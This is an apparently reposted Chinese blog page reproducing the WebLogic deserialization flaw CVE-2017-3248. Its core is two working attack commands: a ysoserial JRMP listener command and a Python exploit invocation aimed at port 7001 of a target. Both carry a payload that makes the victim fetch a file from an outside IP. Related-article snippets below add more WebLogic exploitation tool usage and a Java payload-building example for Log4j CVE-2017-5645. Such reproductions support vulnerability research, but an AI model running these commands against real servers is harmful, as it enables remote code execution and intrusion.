CVE-2017-3248简单复现

最新推荐文章于 2024-12-25 01:15:27 发布
转载 最新推荐文章于 2024-12-25 01:15:27 发布 · 977 阅读 · 1 ·
CC 4.0 BY-SA版权
原文链接：http://www.cnblogs.com/mrhonest/p/11533997.html
文章标签：

#python

本文介绍了如何通过特定的命令序列，在Windows主机上使用Java和在Linux虚拟机上使用Python来实现CVE-2017-3248漏洞的利用，展示了从设置环境到执行命令的全过程。

我是这样操作的
目标跟windows在一个段,linux是另一个段的,我的虚拟机

windows主机上

`java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "wget http://11.205.242.98/32.txt"

linux虚拟机上执行

python exploit-CVE-2017-3248-bobsecq.py -t 目标IP -p 7001 --jip 11.205.242.98 --jport 1099 --cmd "wget http://11.205.242.98/32.txt" --ysopath ysoserial.jar

1431916-20190917151345273-179272486.png

简单证明即可

转载于:https://www.cnblogs.com/mrhonest/p/11533997.html

ddr12231
关注
[ vulhub漏洞复现篇 ] Apache Log4j Server 反序列化命令执行漏洞 CVE-2017-5645
qq_51577576的博客
09-14 2605
[ vulhub漏洞复现篇 ] Apache Log4j Server 反序列化命令执行漏洞 CVE-2017-5645 Apache Log4j是一个用于Java的日志记录库，其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。
[ vulhub漏洞复现篇 ] solr 远程命令执行 (CVE-2017-12629-RCE)
qq_51577576的博客
12-07 866
[ vulhub漏洞复现篇 ] solr 远程命令执行 (CVE-2017-12629-RCE) Apache Solr 是Apache开发的一个开源的基于Lucene的全文搜索服务器。其集合的配置方法（config路径）可以增加和修改监听器，通过RunExecutableListener执行任意系统命令。
WebLogic反序列化_CVE-2017-3248
09-06
WebLogic反序列化_CVE-2017-3248 java -jar weblogic_cmd.jar -C pwd -H 192.168.1.1 -P 7001 工具使用方法： -B Runtime Blind Execute Command maybe you should select os type -C (执行命令)Execute Command[need set] -dst path to dst file -H （执行主机）Remote Host[need set] -https enable https or tls -noExecPath custom execute path -os （操作系统类型）Os Type [windows,linux] -P （远程端口）Remote Port[need set] -shell enable shell module -src path to src file -T Payload Type[marshall, collection, streamMessageImpl] -U Uninstall rmi -upload enable upload a file
weblogicT3反序列化之CVE-2017-3248&CVE-2018-2628&CVE-2018-3245
weixin_45682070的博客
03-13 6125
前言 上上篇文章我们分析了CVE-2015-4852、CVE-2016-0638、CVE-2016-3510的漏洞，因果是从resolveClass方法中出现的，resolveClass方法直接继承了父类的方法，然后没有任何过滤的造成了序列化漏洞，后面两个cve都是前者的绕过。今天分析一下CVE-2017-3248 & CVE-2018-2628，上上文中我们知道readClassDesc类描述方法可分为没有代理的类和代理类，CVE-2017-3248漏洞的成因就是代理类resolveProxyCl
WebLogic_CVE-2017-3248&&GetShell-CMD验证工具.rar
02-11
Weblogic任意命令执行的检测工具。 WebLogic_CVE-2017-3248文件夹的执行命令： java -jar weblogic_cmd.jar -C whoami -H 10.1.1.104 -P 8083 Weblogic Unserialization GetShll&CMD文件夹的执行命令： java -jar Weblogic-Unserialization-GetShll-CMD.jar 或者双击starter.bat.
CVE-2017-3248&CVE-2018-2628
一个安全研究员
05-27 2883
如题
web反序列化漏洞原理_CVE-2017-3248——WebLogic反序列化初探_零开始网络安全技巧
程序员六七的博客
07-16 912
安全客 - 安全资讯平台
浅谈Node.js CVE-2017-14849 漏洞分析（详细步骤）
10-19
【Node.js CVE-2017-14849 漏洞分析】 Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行时，它提供了高效的事件驱动、非阻塞 I/O 模型，使得开发高性能的网络应用变得简单。Express，则是建立在 Node.js 平台...
vulhub靶场搭建与使用与CVE-2017-6920漏洞复现
weixin_66746863的博客
12-25 1057
反序列化漏洞复现 vulhub靶场搭建
[ vulhub漏洞复现篇 ] Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞(CVE-2017-6920)
qq_51577576的博客
02-17 1009
[ vulhub漏洞复现篇 ] Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞(CVE-2017-6920） Drupal是使用PHP语言编写的开源内容管理框架，它由内容管理系统（CMS）和PHP开发框架（Framework）共同构成，在GPL2.0及更新协议下发布。连续多年荣获全球最佳CMS大奖，是基于PHP语言最著名的WEB应用程序。CVE-2017- 6920 是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞，影响8.x的Drupal Core。
CVE-2017-10271 Weblogic反序列化漏洞补丁（FMJJ）
01-09
Weblogic反序列化漏洞补丁（FMJJ），这是一个累积补丁，代号FMJJ
CVE-2017-3248——WebLogic反序列化漏洞利用工具
weixin_30628801的博客
07-20 974
著名的web中间件WebLogic被曝出之前的反序列化安全漏洞补丁存在绕过安全风险，用户更新补丁后，仍然存在被绕过成功执行远程命令攻击的情况，安全风险高，Oracle官方及时发布了最新补丁，修复了该漏洞，阿里云安全团队建议用户尽快自查并升级。 具体详情如下: 漏洞编号: CVE-2017-3248 漏洞名称: WebLogic 反序列化漏洞 官方评级: 高危 漏洞描述: Or...
WebLogic反序列化漏洞（CVE-2017-3248）
公众号shadow sock7
11-19 7856
参考： https://paper.seebug.org/333/ 环境安装 反弹shell参考： https://w00troot.blogspot.com/2017/05/getting-reverse-shell-from-web-shell.html weblogic在服务器命令行安装步骤参考： https://blog.youkuaiyun.com/caiqiiqi/article/details/...
weblogic之CVE-2017-3248，CVE-2018-2628,CVE-2018-2893，CVE-2018-3245反序列绕过分析
weixin_30820151的博客
01-11 933
说一下复现CVE-2017-3248可以参考p牛的环境，p牛的环境CVE-2018-2628实际就是CVE-2017-3248，他漏洞编号这块写错了。 攻击流程就如下图，攻击者开启JRMPListener监听在1099端口，等待受害者链接，当受害者链接时，把gadgets返回给客户端： CVE-2017-3248以后的漏洞都是利用了JRMP java远程方法协议，利用java.rmi...
推荐开源项目：WebLogic CVE-2017-3248远程代码执行漏洞利用工具
gitblog_00075的博客
06-15 530
推荐开源项目：WebLogic CVE-2017-3248远程代码执行漏洞利用工具 去发现同类优质开源项目:https://gitcode.com/ 项目介绍 在网络安全研究的浩瀚星空中，一款名为exploit-CVE-2017-3248-bobsecq.py的脚本如星辰般璀璨。它专为针对“Oracle WebLogic RMI Registry UnicastRef对象Java反序列化远程代码执...
weblogic系列漏洞整理————6、反序列化漏洞（CVE-2017-3248）
Fly_鹏程万里
11-01 3610
0x01 漏洞描述 2017年1月27日，WebLogic 官方发布了一个编号为 CVEID: CVE-2017-3248 的漏洞，影响为 Critical 。之前轰动一时的反序列化漏洞，官方当时的修补措施，在本漏洞中可被绕过。此次漏洞影响 WebLogic 版本如下图所示： 0x02 漏洞分析与验证 分析之前 WebLogic 漏洞 CVE-2015-4852 的补丁，发现 WebLo...
weblogic漏洞分析之CVE-2017-3248 & CVE-2018-2628
洋洋的小黑屋
08-23 217
CVE-2017-3248 & CVE-2018-2628 后面的漏洞就是2017-3248的绕过而已，所以poc都一样，只是使用的payload不同 本机开启JRMP服务端 -》利用T3协议发送payload使得weblogic反序列化后，开启JRMP客户端，并连接服务端 -》服务端发送exp给客户端，客户端上的DGC接收到响应即会反序列化。 详细的细节看我的另一篇文章：ysoseri...
漏洞复现（CVE-2017-10271）
热门推荐
PDblue的博客
03-27 1万+
使用https://github.com/vulhub/vulhub在本地进行漏洞环境搭建，需要使用的工具是https://github.com/hanc00l/weblogic_wls_wsat_rce 环境搭建完成后通过浏览器进行访问 使用工具对漏洞进行验证 向服务器上传后门文件 通过浏览器访问后门文件 仅限于本地漏洞环境验证。...
CVE-2017-5645漏洞复现
最新发布
02-19
### 复现 CVE-2017-5645 漏洞 为了复现 Apache Log4j 的反序列化命令执行漏洞 (CVE-2017-5645)，需遵循一系列特定的操作流程来设置实验环境并验证该漏洞的存在。 #### 准备工作 进入指定的工作目录，以便于后续操作： ```bash cd /home/hbesljx/vulhub/log4j/CVE-2017-5645 ``` 此路径包含了用于模拟漏洞场景所需的一切资源[^2]。 #### 启动服务端程序 启动带有易受攻击配置的服务端应用。通常情况下，在`vulhub`项目中会提供Docker容器化的部署方式，通过运行如下命令可快速建立受影响的日志服务器实例： ```bash docker-compose up -d ``` 这一步骤将会拉取必要的镜像，并按照预设参数启动一个存在潜在风险的Log4j组件实例[^4]。 #### 构建恶意负载 构建能够触发漏洞的有效载荷(Payload)。由于这是一个反序列化漏洞，因此需要创建特殊格式的数据包发送给目标机器上的Log4j监听器。可以借助工具如ysoserial生成这样的payload: ```java public class Exploit { public static void main(String[] args) throws Exception{ String command = "touch /tmp/success"; // 测试命令 Object payload = new CommonsCollections1().getObject(command); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser")); oos.writeObject(payload); oos.close(); } } ``` 这段Java代码片段展示了如何使用Commons Collections库配合其他依赖项制造出能被执行任意系统的指令链路；这里仅作为示例给出创建`.ser`文件的方法。 #### 发送Payload至目标主机 利用网络协议(TCP/UDP)向已知开放的日志接收端口传输上述制作好的二进制数据流(`payload.ser`)。可以通过编写简单的客户端脚本来完成这项任务，或者直接采用netcat等常用工具实现通信过程中的消息传递功能。 一旦成功投递了精心设计过的输入，则预期会在远程系统上观察到由我们定义的动作效果——即证明了漏洞确实存在并且具有实际危害性。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值